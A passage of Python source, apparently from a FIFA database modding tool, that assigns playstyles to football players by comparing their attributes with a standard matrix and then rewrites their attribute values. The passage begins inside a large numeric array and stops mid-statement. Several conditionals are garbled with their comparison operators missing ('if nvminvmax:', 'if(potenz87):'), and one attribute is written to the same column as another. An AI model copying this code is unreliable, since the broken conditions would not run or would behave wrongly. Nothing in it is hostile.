[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6],\n [1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6],\n [9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]];\n for i in range(1,len(StMx)):\n for j in range(0,len(StMx[0])):\n if(i==31):\n StMx[i][j] = float(int(StMx[i][j])/100.0);\n else:\n StMx[i][j] = int(StMx[i][j]);\n #listasta=[44,24,32,31,64,20,83,56,15,45,12,33,100,62,10,22,28,29,7,51,63,38,78,81,42,21,67,52,85,26,89];\n totpl = len(lista);\n totdimenouno = 0;\n listaps = contarighe*[99];\n totalix = 88*[0.0];\n M = 88*[0]; #Count\n S = 88*[0.0]; #Values\n gkvalues=[];\n cbvalues=[];\n sbvalues=[];\n wbvalues=[];\n dmvalues=[];\n cmvalues=[];\n amvalues=[];\n smvalues=[];\n swvalues=[];\n cfvalues=[];\n stvalues=[];\n #Analyze every player comparing their attributes to Playstyle standard attributes, then balance it to have players with different playstyle\n tot=11*[0];\n for rig in range(0,len(lista)):\n #from cf to st\n macroposition = self.GetMacroPosition(int(lista[rig][42]));\n pfoot = int(lista[rig][78]); #foot 1 D 2 S\n ### GK=0,CB=1,SB=2,WB=3,DM=4,CM=5,AM=6,SM=7,WM=8,CF=9,ST=10 ###\n if(int(lista[rig][12])==-1 and int(lista[rig][101])==-1):\n totdimenouno=totdimenouno+1;\n ovr = int(lista[rig][90]);\n intnationalrep = int(lista[rig][54]);\n idplayer = int(lista[rig][83]);\n #posizione nella tabella players degli attributi ordinati in base alla matrice (vedi excel CalcoloOverall)\n #14stat=[44,24,32,31,64,20,83,56,15,45,12,33,100,62,10,22,28,29,7,51,63,38,78,81,42,21,67,52,85,26];\n #15stat=[43,22,30,29,63,18,83,55,13,44,10,31,100,61, 8,20,26,27,5,50,62,36,78,81,40,19,66,50,85,24];\n ##########0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \n stat =[43,22,30,29,64,18,84,56,13,44,10,31,102,62, 8,20,26,27, 5,50,63,36,79,82,40,19,67,50,86,24];\n #normalizzare overall 75/70= bco - 10 S[j]=S[j]+int(((int(lista[rig][stat[i-1]])-(StMx[i][j]*10))/ovr));\n norm = ovr/70.0;\n if(macroposition==0):\n k = 0;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis0=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n gkvalues.append(lis0);\n tot[0]=tot[0]+1;\n elif(macroposition==1):\n k = 8;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis1=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n cbvalues.append(lis1);\n tot[1]=tot[1]+1;\n elif(macroposition==2):\n k = 16;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis2=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n sbvalues.append(lis2);\n tot[2]=tot[2]+1;\n elif(macroposition==3):\n k = 24;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis3=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n wbvalues.append(lis3);\n tot[3]=tot[3]+1;\n elif(macroposition==4):\n k = 32;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis4=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n dmvalues.append(lis4);\n tot[4]=tot[4]+1;\n elif(macroposition==5):\n k = 40;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis5=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n cmvalues.append(lis5);\n tot[5]=tot[5]+1;\n elif(macroposition==6):\n k = 48;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis6=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n amvalues.append(lis6);\n tot[6]=tot[6]+1;\n elif(macroposition==7):\n k = 56;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis7=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n smvalues.append(lis7);\n tot[7]=tot[7]+1;\n elif(macroposition==8):\n k = 64;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis8=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n swvalues.append(lis8);\n tot[8]=tot[8]+1;\n elif(macroposition==9):\n k = 72;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis9=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n cfvalues.append(lis9);\n tot[9]=tot[9]+1;\n elif(macroposition==10):\n k = 80;\n for j in range(k,k+8):\n for i in range(1,31):\n S[j]=S[j]+int(int(int(lista[rig][stat[i-1]])/norm)-((StMx[i][j]-1)*12));\n lis10=[rig,S[k+0],S[k+1],S[k+2],S[k+3],S[k+4],S[k+5],S[k+6],S[k+7]];\n S[k+0]=S[k+1]=S[k+2]=S[k+3]=S[k+4]=S[k+5]=S[k+6]=S[k+7]=0;\n stvalues.append(lis10);\n tot[10]=tot[10]+1; \n #Smista gkvalues\n print(\"i -1 \"+str(totdimenouno));\n print(\"rig \"+str(len(lista)));\n if(totdimenouno>=(len(lista)-15)):\n print(\"Ohi, errore!\");\n shutil.rmtree('configgm\\\\tempdb');\n self.msgbox = QtGui.QMessageBox.about(self, \"Error\", \"This is a Gameplayzed DB, i can't gameplayze it!\");\n sys.exit();\n listaps=self.scrematura(gkvalues,listaps,0,StMx[36][0],StMx[36][1],StMx[36][2],StMx[36][3],StMx[36][4],StMx[36][5],StMx[36][6],StMx[36][7]);\n listaps=self.scrematura(cbvalues,listaps,8,StMx[36][8],StMx[36][9],StMx[36][10],StMx[36][11],StMx[36][12],StMx[36][13],StMx[36][14],StMx[36][15]);\n listaps=self.scrematura(sbvalues,listaps,16,StMx[36][16],StMx[36][17],StMx[36][18],StMx[36][19],StMx[36][20],StMx[36][21],StMx[36][22],StMx[36][23]);\n listaps=self.scrematura(wbvalues,listaps,24,StMx[36][24],StMx[36][25],StMx[36][26],StMx[36][27],StMx[36][28],StMx[36][29],StMx[36][30],StMx[36][31]);\n listaps=self.scrematura(dmvalues,listaps,32,StMx[36][32],StMx[36][33],StMx[36][34],StMx[36][35],StMx[36][36],StMx[36][37],StMx[36][38],StMx[36][39]);\n listaps=self.scrematura(cmvalues,listaps,40,StMx[36][40],StMx[36][41],StMx[36][42],StMx[36][43],StMx[36][44],StMx[36][45],StMx[36][46],StMx[36][47]);\n listaps=self.scrematura(amvalues,listaps,48,StMx[36][48],StMx[36][49],StMx[36][50],StMx[36][51],StMx[36][52],StMx[36][53],StMx[36][54],StMx[36][55]);\n listaps=self.scrematura(smvalues,listaps,56,StMx[36][56],StMx[36][57],StMx[36][58],StMx[36][59],StMx[36][60],StMx[36][61],StMx[36][62],StMx[36][63]);\n listaps=self.scrematura(swvalues,listaps,64,StMx[36][64],StMx[36][65],StMx[36][66],StMx[36][67],StMx[36][68],StMx[36][69],StMx[36][70],StMx[36][71]);\n listaps=self.scrematura(cfvalues,listaps,72,StMx[36][72],StMx[36][73],StMx[36][74],StMx[36][75],StMx[36][76],StMx[36][77],StMx[36][78],StMx[36][79]);\n listaps=self.scrematura(stvalues,listaps,80,StMx[36][80],StMx[36][81],StMx[36][82],StMx[36][83],StMx[36][84],StMx[36][85],StMx[36][86],StMx[36][87]);\n for i in range(0,len(listaps)):\n for j in range(0,88):\n if(listaps[i]==j):\n M[j]=M[j]+1;\n #listaps.append(pls); \n #STAMPO ANALISI STATISTICA PLAYSTYLE\n global playerstotal,gktotal;\n playerstotal = tot[0]+tot[1]+tot[2]+tot[3]+tot[4]+tot[5]+tot[6]+tot[7]+tot[8]+tot[9]+tot[10];\n gktotal = tot[0];\n self.textEdit.append(\" \");\n self.textEdit.append(\"FIFACCITIU STYLE GAMEPLAY: v: \"+version+\"\");\n self.textEdit.append(\"TOTAL PLAYERS IN THIS DB: \"+str(playerstotal));\n for s in range(0,88):\n t = ((s)/8);\n #self.textEdit.append(StMx[0][s]+\" \"+str(M[s])+\" players,with \"+str(M[s]*100/tot[t])+\"%\");\n print(\"--------------------------\");\n print(\"listaps \"+str(len(listaps)));\n return listaps;\n #Removing International reputation from Overall.\n \n def Remove_ir_from_ovr(self,ovr,ir):\n if(ir == 3):\n if(ovr>49):\n ovr = ovr-1;\n else:\n ovr = ovr-0;\n if(ir == 4):\n if(ovr>65):\n ovr = ovr-2;\n if(ovr>32):\n ovr = ovr-1;\n else:\n ovr = ovr-0;\n if(ir == 5):\n if(ovr>74):\n ovr = ovr-3;\n if(ovr>49):\n ovr = ovr-2;\n if(ovr>24):\n ovr = ovr-1;\n else:\n ovr = ovr-0;\n return ovr;\n #Eliminazione valori minori di 10. Solo attributi tecnici e mentali\n\n def scrematura(self,c,allv,soprasomma,P1,P2,P3,P4,P5,P6,P7,P8):\n vmin = 1000000;\n vmax = 0;\n pssdef=(contarighe)*[99];\n assa = [0,0];\n pssdefe = len(c)*[assa];\n ps=0;\n for i in range(0,len(c)):\n nvmin = int(min(c[i][1:]));\n nvmax = int(max(c[i][1:]));\n if nvminvmax:\n vmax=nvmax;\n #print(\"minimo \"+str(vmin)+\" massimo \"+str(vmax)+ \"gruppo \" + str(soprasomma) );\n #print(c);\n eev = vmax;\n epsilon = 2;#1\n aa=0;bb=0;cc=0;dd=0;ee=0;ff=0;gg=0;hh=0;\n aamx=int(len(c)*P1/100);\n bbmx=int(len(c)*P2/100);\n ccmx=int(len(c)*P3/100);\n ddmx=int(len(c)*P4/100);\n eemx=int(len(c)*P5/100);\n ffmx=int(len(c)*P6/100);\n ggmx=int(len(c)*P7/100);\n hhmx=int(len(c)*P8/100);\n while(eev>=vmin):\n for i in range(0,len(c)):\n for j in range(1,len(c[0])): \n if(c[i][j]>=eev):\n riga=i;\n posmx=int(c[i][0]);\n ####DA sistemare\n if(j==1):\n if(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n if(j==2):\n if(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n if(j==3):\n if(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n if(j==4):\n if(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n if(j==5):\n if(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n if(j==6):\n if(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n if(j==7):\n if(gg<=ggmx):\n gg=gg+1;\n plays=6;\n elif(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n if(j==8):\n if(hh<=hhmx):\n hh=hh+1;\n plays=7;\n elif(aa<=aamx):\n aa=aa+1;\n plays=0;\n elif(bb<=bbmx):\n bb=bb+1;\n plays=1;\n elif(cc<=ccmx):\n cc=cc+1;\n plays=2;\n elif(dd<=ddmx):\n dd=dd+1;\n plays=3;\n elif(ee<=eemx):\n ee=ee+1;\n plays=4;\n elif(ff<=ffmx):\n ff=ff+1;\n plays=5;\n elif(gg<=ggmx):\n gg=gg+1;\n plays=6;\n defplays = plays+soprasomma;\n allv[posmx]=defplays;\n #print(eev,c[i][j],i,plays);\n c[i][1]=0;\n c[i][2]=0;\n c[i][3]=0;\n c[i][4]=0;\n c[i][5]=0;\n c[i][6]=0;\n c[i][7]=0;\n c[i][8]=0;\n eev=eev-epsilon;\n print(aamx,bbmx,ccmx,ddmx,eemx,ffmx,ggmx,hhmx,aa+bb+cc+dd+ee+ff+gg+hh,aa,bb,cc,dd,ee,ff,gg,hh);\n return allv;\n \n def IdExtraction(self,lista,pos):\n listaid= [];\n for rig in range(0,len(lista)):\n listaid.append(int(lista[rig][pos]));\n return listaid;\n\n def NewPs(self,listapsmia,listacalc,listagioc):\n for rigps in range(0,len(listapsmia)):\n playid = int(listapsmia[rigps][0]);\n nome = unicode(listapsmia[rigps][1]);\n psty = int(listapsmia[rigps][2]);\n pots = int(listapsmia[rigps][3]);\n roll = int(listapsmia[rigps][4]);\n onoff = int(listapsmia[rigps][5]);\n bco = int(listapsmia[rigps][6]);\n cro = int(listapsmia[rigps][7]);\n dri = int(listapsmia[rigps][8]);\n fin = int(listapsmia[rigps][9]);\n hea = int(listapsmia[rigps][10]);\n lon = int(listapsmia[rigps][11]);\n mar = int(listapsmia[rigps][12]);\n pas = int(listapsmia[rigps][13]);\n lpa = int(listapsmia[rigps][14]);\n sht = int(listapsmia[rigps][15]);\n stk = int(listapsmia[rigps][16]);\n slk = int(listapsmia[rigps][17]);\n vol = int(listapsmia[rigps][18]);\n agg = int(listapsmia[rigps][19]);\n atk = int(listapsmia[rigps][20]);\n inte = int(listapsmia[rigps][21]);\n rea = int(listapsmia[rigps][22]);\n vis = int(listapsmia[rigps][23]);\n agi = int(listapsmia[rigps][24]);\n bal = int(listapsmia[rigps][25]);\n acc = int(listapsmia[rigps][26]);\n spr = int(listapsmia[rigps][27]);\n jum = int(listapsmia[rigps][28]);\n sta = int(listapsmia[rigps][29]);\n stre = int(listapsmia[rigps][30]);\n div = int(listapsmia[rigps][31]);\n han = int(listapsmia[rigps][32]);\n kic = int(listapsmia[rigps][33]);\n pos = int(listapsmia[rigps][34]);\n ref = int(listapsmia[rigps][35]);\n for rig in range(0,len(listagioc)):\n if(playid == int(listagioc[rig][83]) and (onoff == 1)):\n listagioc[rig][59]=1;\n if(psty != -1):\n listacalc[rig] = psty;\n if(pots != -1):\n listagioc[rig][23]=pots;\n if(roll != -1):\n listagioc[rig][42]=roll;\n if(bco != -1):\n listagioc[rig][43] = bco;\n if(cro != -1):\n listagioc[rig][22] = cro;\n if(dri != -1):\n listagioc[rig][30] = dri;\n if(fin != -1):\n listagioc[rig][29] = fin;\n if(hea != -1):\n listagioc[rig][64] = hea;\n if(lon != -1):\n listagioc[rig][18] = lon;\n if(mar != -1):\n listagioc[rig][84] = mar;\n if(pas != -1):\n listagioc[rig][56] = pas;\n if(lpa != -1):\n listagioc[rig][13] = lpa;\n if(sht != -1):\n listagioc[rig][44] = sht;\n if(stk != -1):\n listagioc[rig][10] = stk;\n if(slk != -1):\n listagioc[rig][31] = slk;\n if(vol != -1):\n listagioc[rig][102] = vol;\n if(agg != -1):\n listagioc[rig][62] = agg;\n if(atk != -1):\n listagioc[rig][8] = atk;\n if(inte != -1):\n listagioc[rig][20] = inte;\n if(rea != -1):\n listagioc[rig][26] = rea;\n if(vis != -1):\n listagioc[rig][27] = vis;\n if(agi != -1):\n listagioc[rig][5] = agi;\n if(bal != -1):\n listagioc[rig][50] = bal;\n if(acc != -1):\n listagioc[rig][63] = acc;\n if(spr != -1):\n listagioc[rig][36] = spr;\n if(jum != -1):\n listagioc[rig][79] = jum;\n if(sta != -1):\n listagioc[rig][82] = sta;\n if(stre != -1):\n listagioc[rig][40] = stre;\n if(div != -1):\n listagioc[rig][19] = div;\n if(han != -1):\n listagioc[rig][67] = han;\n if(kic != -1):\n listagioc[rig][50] = kic;\n if(pos != -1):\n listagioc[rig][86] = pos;\n if(ref != -1):\n listagioc[rig][24] = ref;\n return listacalc;\n\n #Dalla posizione del giocatore ricavo il ruolo in generale.\n def GetMacroPosition(self,posid):\n macroid = -1;\n if(posid==0):\n macroid = 0;#GK\n elif(posid==4 or posid==5 or posid==6 or posid==1):\n macroid = 1;#CD-SD\n elif(posid==3 or posid==7):\n macroid = 2;\n elif(posid==2 or posid==8):\n macroid = 3;\n elif(posid==9 or posid==10 or posid==11):\n macroid = 4;\n elif(posid==13 or posid==14 or posid==15):\n macroid = 5;\n elif(posid==17 or posid==18 or posid==19):\n macroid = 6; \n elif(posid==12 or posid==16):\n macroid=7;\n elif(posid==23 or posid==27):\n macroid=8;\n elif(posid==20 or posid==21 or posid==22):\n macroid=9;#ST\n elif(posid==24 or posid==25 or posid==26):\n macroid=10;\n elif(posid==-1):\n macroid=11\n return macroid;\n \n def Gameplayization(self,StMx,lista,ps):\n for i in range(1,len(StMx)):\n for j in range(0,len(StMx[0])):\n if(i==31):\n StMx[i][j] = float(StMx[i][j]);\n else:\n StMx[i][j] = int(StMx[i][j]);\n m=0;\n found=specialplayers=0;\n totlongshot=totlongpasser=totdivetackle=0;\n totplaymaker=totflair=totavoidweak=totearlycrosser=tottiroesterno=0;\n totdiver=totbeatline=totspeeddribbler=totgksavetype=totpowerfk=0;\n tothardhead=totswerve=tot2ndwind=totfinshot=totpunchergk=totoneone=totselfish=0;\n totweak0=totweak1=totweak2=totweak3=totweak4=0;\n totskillm0=totskillm1=totskillm2=totskillm3=totskillm4=0;\n dribbler=poacher=aerialt=speedsteer=engine=distanceshooter=clinicalfinisher=strength=tackling=speedster=playmaker=crosser=acrobat=tactician=0;\n tot10=tot20=tot30=tot40=tot50=tot60=tot70=tot80=tot90=tot99=0;\n top10=top20=top30=top40=top50=top60=top70=top80=top90=top99=0;\n htref=180;wtref=75;perfectwt=0;wtdiff=0;\n perc=1.0;dage=0.0;lonstaker=0;\n agilm90=accem90=sprim90=balam90=jumpm90=stamm90=strem90=0;\n agilm80=accem80=sprim80=balam80=jumpm80=stamm80=strem80=0;\n agilm70=accem70=sprim70=balam70=jumpm70=stamm70=strem70=0;\n agilm55=accem55=sprim55=balam55=jumpm55=stamm55=strem55=0;\n agilm35=accem35=sprim35=balam35=jumpm35=stamm35=strem35=0;\n agilm10=accem10=sprim10=balam10=jumpm10=stamm10=strem10=0;\n for rig in range(len(lista)):\n ht =int(lista[rig][37]); #altezza\n wt =int(lista[rig][47]); #peso\n bdtp =int(lista[rig][98]);#bodytype\n potenz = int(lista[rig][23]); #potenziale\n ir = int(lista[rig][54]);#international reputation\n age = self.etac(int(lista[rig][41]));\n ovr = int(int(lista[rig][90])*1.2-18);\n ovr = self.Remove_ir_from_ovr(ovr,ir);\n #VALUTAZIONE POTENZIALE\n potlimit=max(0,int((27-age)*2));\n if(potenz-ovr>potlimit):\n potenz=ovr+potlimit;\n if(potenz87):\n ps[rig]=87;\n #self.textEdit.append(str(ps[rig])+\"**\"+str(rig)+\"**\"+str(idplayer));\n if(int(lista[rig][59])!=1):\n agefactormental=0;#int((age-25)*0.75);#5*0.5=2.5\n agefactorphisical=0;#int((age-25)*-0.75);#5*-0.5=-2.5\n agefactortech=0;\n if(age-27>=0):\n agefactortech=int((age-27)*0.5);\n agefactormental=int(0);\n agefactorphisical=int(abs(age-27)**1.5);\n else:\n agefactortech=int((age-27)*0.50);\n agefactormental=int((27-age)**1.25)*-1;\n agefactorphisical=int(0); \n overallfactormental = 0;#int((ovr-80)/2);#65-80=-15/2=-7.5;90-80=10/2=5\n overallfactorphisical= 0;#int((ovr-80)/2);#\n lmm=99;\n bco =min(lmm,int(self.zone(StMx[1][ps[rig]],ovr,0))+agefactortech);\n cro =min(lmm,int(self.zone(StMx[2][ps[rig]],ovr,0))+agefactortech);\n dri =min(lmm,int(self.zone(StMx[3][ps[rig]],ovr,0))+agefactortech);\n fin =min(lmm,int(self.zone(StMx[4][ps[rig]],ovr,0))+agefactortech);\n hea =min(lmm,int(self.zone(StMx[5][ps[rig]],ovr,0))+agefactortech);\n lons=min(lmm,int(self.zone(StMx[6][ps[rig]],ovr,0))+agefactortech);\n mar =min(lmm,int(self.zone(StMx[7][ps[rig]],ovr,0))+agefactortech);\n spas=min(lmm,int(self.zone(StMx[8][ps[rig]],ovr,0))+agefactortech);\n lpas=min(lmm,int(self.zone(StMx[9][ps[rig]],ovr,0))+agefactortech);\n psht=min(lmm,int(self.zone(StMx[10][ps[rig]],ovr,0))+agefactortech);\n sttk=min(lmm,int(self.zone(StMx[11][ps[rig]],ovr,0))+agefactortech);\n sltk=min(lmm,int(self.zone(StMx[12][ps[rig]],ovr,0))+agefactortech);\n vol =min(lmm,int(self.zone(StMx[13][ps[rig]],ovr,0))+agefactortech);\n agg =min(lmm,int(self.zone(StMx[14][ps[rig]],ovr,2))+agefactormental+overallfactormental);\n atk =min(lmm,int(self.zone(StMx[15][ps[rig]],ovr,2))+agefactormental+overallfactormental);\n inte=min(lmm,int(self.zone(StMx[16][ps[rig]],ovr,2))+agefactormental+overallfactormental);\n rea =min(lmm,int(self.zone(StMx[16][ps[rig]],ovr,2))+agefactormental+overallfactormental);#min(lmm,int(self.zone(StMx[17][ps[rig]],ovr,2))+agefactormental+overallfactormental);\n vis 